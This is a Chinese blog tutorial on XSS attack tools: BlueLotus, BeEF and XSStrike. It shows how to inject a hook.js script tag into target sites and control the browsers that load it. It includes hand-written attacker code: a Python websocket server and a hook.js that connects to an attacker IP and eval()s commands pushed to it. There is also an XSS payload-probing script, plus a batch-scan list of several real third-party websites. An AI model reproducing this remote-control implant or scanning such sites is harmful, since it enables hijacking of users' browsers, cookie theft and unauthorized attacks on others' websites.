Xss渗透工具

1,306 阅读6分钟

XSS渗透工具

一、BlueLotus工具快速实现XSS

概述

BlueLotus是清华大学蓝莲花战队所写的XSS测试平台,XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于窃取cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息等。

该平台后端语言是PHP,无SQL版,所以想要使用该平台需要要PHP的环境。而且需要搭建在自己的云服务器上。

安装

1. 将BlueLotus放置在攻击主机服务器 /opt/lampp/htdocs/
2. 在配置前,需要赋予相关文件夹写权限,
    2.1 BlueLotus目录写权限 chmod a+w BlueLotus
    2.3 xss数据存储路径(data) chmod a+w data
    2.4 js模板存储路径(template) chmod a+w template
    2.5 我的js存储路径(myjs) chmod a+w myjs
3. 访问 BlueLotus 安装
   ttp://<IP>/BlueLotus

image-20240530110751451

img

image-20240530110900334

image-20240530110917294

image-20240530110936591

使用

创建自己的攻击模板

image-20240530112449557

img

将该地址以存储型存入靶机网站,等待上线

img

image-20240530112058546

二、BeEF渗透工具

概述

BeEF全称(The Browser Exploitation Framework)是一种专注于Web浏览器的渗透测试工具,通过XSS漏洞配合JS脚本和Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,如果不是在Kali上安装beef,需要用rvm安装Rudy

BeEF除了是XSS漏洞利用工具,还是一个XSS平台搭建工具,可以本地搭建也可以服务器上搭建,唯一的缺点是:不支持Windows

安装

正下Kali中已经集成,不需要安装,以下主要针对没有集成的安装

1. 下载
    apt-get update
    apt-get install beef-xss
    apt-get install ruby
2. 启动beef服务
   systemctl start beef-xss

image-20240530120327895

beef配置

系统级别配置
/etc/beef-xss/config.yaml
用户级别配置
/usr/share/beef-xss/config.yaml
查看beef密码

vim /etc/beef-xss/config.yaml
默认密码 beef / beef

img

使用

1. 在beef-xss服务启动的情况下使用
2. 终端中输入 beef-xss 或者 beef-xss start
3. 修改默认密码 beff

image-20240530120815963

img

web ui web地址

Hook 攻击者地址

<script src="http://<Kali IP>:3000/hook.js"></script>
<script src="http://攻击者ip/hook.js"></script>

img

img

攻击流程
1. 将 <script src="http://<Kali IP>:3000/hook.js"></script> XSS注入
2. 等待上线

image-20240530121328086

BeEf界面

Details(详细信息)

该模块主要显示受控主机的系统信息以及浏览器信息

Logs

该模块记录受控主机在存放着xss恶意代码的页面上的使用痕迹(鼠标点击、输入、访问、离开)

Command

该模块存放着BeEF的攻击载荷,可以利用里面的payload对当前浏览器进行攻击。

在Command窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:
绿色模块 : 表示模块适用当前用户,并且执行结果对用户不可见;
灰色模块 : 模块为在目标浏览器上测试过;
橙色模块 : 模块可用,但结果对用户可见;
红色模块 : 表示模块不适用当前用户,有些红色模块也可以执行,会有较大反应;
Proxy

该模块为代理模块,可以利用受控主机做为代理(右键,点击Use as Proxy),在Rider选项卡中的Forge Request编辑并发送想要发送的内容

Xssrays

该模块检查页面(浏览器连接的地方)的链接、表单和URI路径是否容易受到XSS的攻击

Network

该模块上的Map网络图会显示了受控主机本地网络的动态地图,识别出的网络主机会自动添加到地图中

攻击手段

image-20240530121650944

颜色划分
绿色是指 用户无感或者用户不需要过多参与
红色是指 用户有感

攻击地址需要配置为Kali的地址

三、XSStrike渗透测试工具

概述

XSStrike是一款基于Python开发的检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。

特点

  1. 对参数进行模糊测试之后构建合适的payload
  2. 使用payload对参数进行穷举匹配
  3. 内置爬虫功能
  4. 检测并尝试绕过WAF
  5. 同时支持GET及POST方式
  6. 大多数payload都是由作者精心构造
  7. 误报率极低

安装

XSStrike只可以运行在python 3.6 及以上版本,直接下载下来就可以使用,但是有可能需要安装其需要的包

1. 进入 XSStrike 文件夹
2. 安装相关依赖包
   pip install -r requirements.txt
3. xsstrike.py 就是主文件

使用

常用参数
-u/--url 指定要测试的目标 URL。
--data 用于 POST 请求,指定提交的数据。
-e/--encode 编码荷载以绕过 WAF 或其他过滤器。
--fuzzer 启用模糊测试模式以在请求中注入随机负载。
--update 更新 XSStrike 到最新版本。
--timeout 设置每次 HTTP 请求的超时时间。
--proxy 使用代理服务器发送请求。
--crawl 启用爬虫模式,自动发现与目标相关的页面。
--json 将 POST 数据视为 JSON 格式。
--path 在路径中注入负载。
--seeds 从文件中加载作为网址列表来加速爬取。
-f/--file 从文件中加载测试负载列表。
-l/--level 设置爬取级别,0-5--headers 添加请求头。
-t/--threads 设置并发线程数。
-d/--delay 设置两个请求之间的延迟时间。
--skip 跳过询问用户是否要继续扫描。
--skip-dom 跳过 DOM 检查。
--blind:在爬取过程中注入盲 XSS 负载。 
--console-log-level/--file-log-level/--log-file 设置日志输出级别和文件名。
GET请求
python xsstrike.py -u http://www.dlrb.com/news/admin/user.php?seach_name=111  带参数

image-20240530141749932

POST请求
python xsstrike.py -u http://www.dlrb.com/news/admin/user.php --data seach_name=111    --data指定参数

image-20240530142008629

自动扫描
python xsstrike.py -u http://www.dlrb.com/news/admin/user.php?seach_name=111 --crawl

image-20240530142341967

批量扫描
1. 将需要扫描的点添加到文件中 url.txt
2. python xsstrike.py  --seeds url.txt
https://www.everestgifts.in/products.php?catid=1 
http://www.zfcg2003.com/show.php?id=1762
http://www.lfv.com.hk/tc/news_detail.php?id=82
https://www.everestgifts.in/products.php?catid=1
http://www.yuebooemt.com/news.php?class=1
http://www.zfcg2003.com/show.php?id=1762
http://www.tlpga.org.tw/NewsDetail.php?autono=1 
https://www.saelinklaw.com/saelink-team.php

四、手撸XSS工具

Beef

beef 服务端 服务器1(攻击者)
import asyncio
import websockets
# 具体的信息处理方法 异步的
async def wsserver(websocket,path):
    async for message in websocket:
        print(f"收到客户端消息:{message}")
        conmand = input("需要发送给客户端的消息:\n")
        await websocket.send(conmand)
if __name__ == '__main__':
    # 创建 websocrket服务器 注意服务器是异步的 serve
    print("wsserver服务启动...")
    start_server = websockets.serve(wsserver, "192.168.88.1", 9999)
    asyncio.get_event_loop().run_until_complete(start_server)
    asyncio.get_event_loop().run_forever()
beef 客户端 hook.js 服务器2(攻击者)

hook.js 放在 beef 服务器,远程连接给靶机,连接到我们自己写的beef

// 创建一个新的WebSocket客户端
let socket = new WebSocket('ws://192.168.88.1:9999');
let text = document.querySelector('.text');
// 监听连接建立事件
socket.onopen = function(event) {
  console.log('WebSocket连接已建立');
};
// 监听接收到消息事件
socket.onmessage = function(event) {
  console.log('接收到消息: ' + event.data);
  eval(event.data)
};
// 监听连接关闭事件
socket.onclose = function(event) {
  console.log('WebSocket连接已关闭');
};
// 监听错误事件
socket.onerror = function(error) {
  console.error('WebSocket错误: ' + error);
};
// 向服务器发送消息
function sendMessage(message) {
  socket.send(message);
}
// 每两秒中调用一次消息发送确认
setInterval(function() {
  sendMessage("hart_jump");
},2000)
被攻击者 服务器3
注入XSS
<script src="http://www.wowo.com/woniu/js/hook.js"></script>
Python输入控制代码 被攻击浏览器执行

XSStrike

import requests
url = "http://www.dlrb.com/news/admin/user.php?seach_name="
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0"
}
# 逐渐完善 自己的payload 这是一个积累的过程
payload_list = [
    "<script>alert(/xss/)</script>",
    "<sCRipt>alert(/xss/)</scriPT>",
    "<sCRipt>alert(/xss/)</scriPT>",
    "111\" onclick=\"alert(/xss/)\""
]
for payload in payload_list:
    resp = requests.get(url + payload, headers=headers)
    result = resp.text
    # 逐渐完善 判断条件 熟悉页面 
    if payload in result:
        print(payload)